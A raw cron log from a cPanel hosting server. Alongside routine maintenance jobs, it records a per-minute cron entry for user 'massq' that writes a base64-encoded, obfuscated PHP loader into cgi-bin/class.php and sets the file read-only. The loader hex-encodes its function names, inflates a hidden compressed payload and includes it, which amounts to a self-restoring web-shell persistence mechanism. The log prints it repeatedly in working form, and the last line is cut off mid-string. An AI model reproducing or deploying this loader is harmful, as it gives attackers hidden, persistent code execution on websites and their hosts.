Sep  4 01:05:01 server CROND[16813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:05:01 server CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:05:01 server CROND[16820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:05:01 server CROND[16827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:05:01 server CROND[16823]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:05:01 server CROND[16825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:05:01 server CROND[16824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:05:01 server CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:06:01 server CROND[17737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:06:01 server CROND[17738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:06:01 server CROND[17740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:07:01 server CROND[18106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:07:01 server CROND[18107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:07:01 server CROND[18108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:08:01 server CROND[18479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:08:01 server CROND[18480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:08:01 server CROND[18478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:09:01 server CROND[18855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:09:01 server CROND[18856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:09:01 server CROND[18857]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 01:09:01 server CROND[18858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:10:01 server CROND[19242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:10:01 server CROND[19244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:10:01 server CROND[19254]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:10:01 server CROND[19253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:10:01 server CROND[19255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:10:01 server CROND[19256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:10:01 server CROND[19259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:10:01 server CROND[19260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:11:01 server CROND[20164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:11:01 server CROND[20165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:11:01 server CROND[20166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:12:01 server CROND[20531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:12:01 server CROND[20533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:12:01 server CROND[20532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:12:01 server CROND[20534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:13:01 server CROND[20925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:13:01 server CROND[20924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:13:01 server CROND[20926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:14:01 server CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:14:01 server CROND[21294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:14:01 server CROND[21296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:15:01 server CROND[21698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:15:01 server CROND[21699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:15:01 server CROND[21705]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 01:15:01 server CROND[21717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:15:01 server CROND[21716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:15:01 server CROND[21719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:15:01 server CROND[21715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:15:01 server CROND[21718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:16:01 server CROND[22656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:16:01 server CROND[22657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2a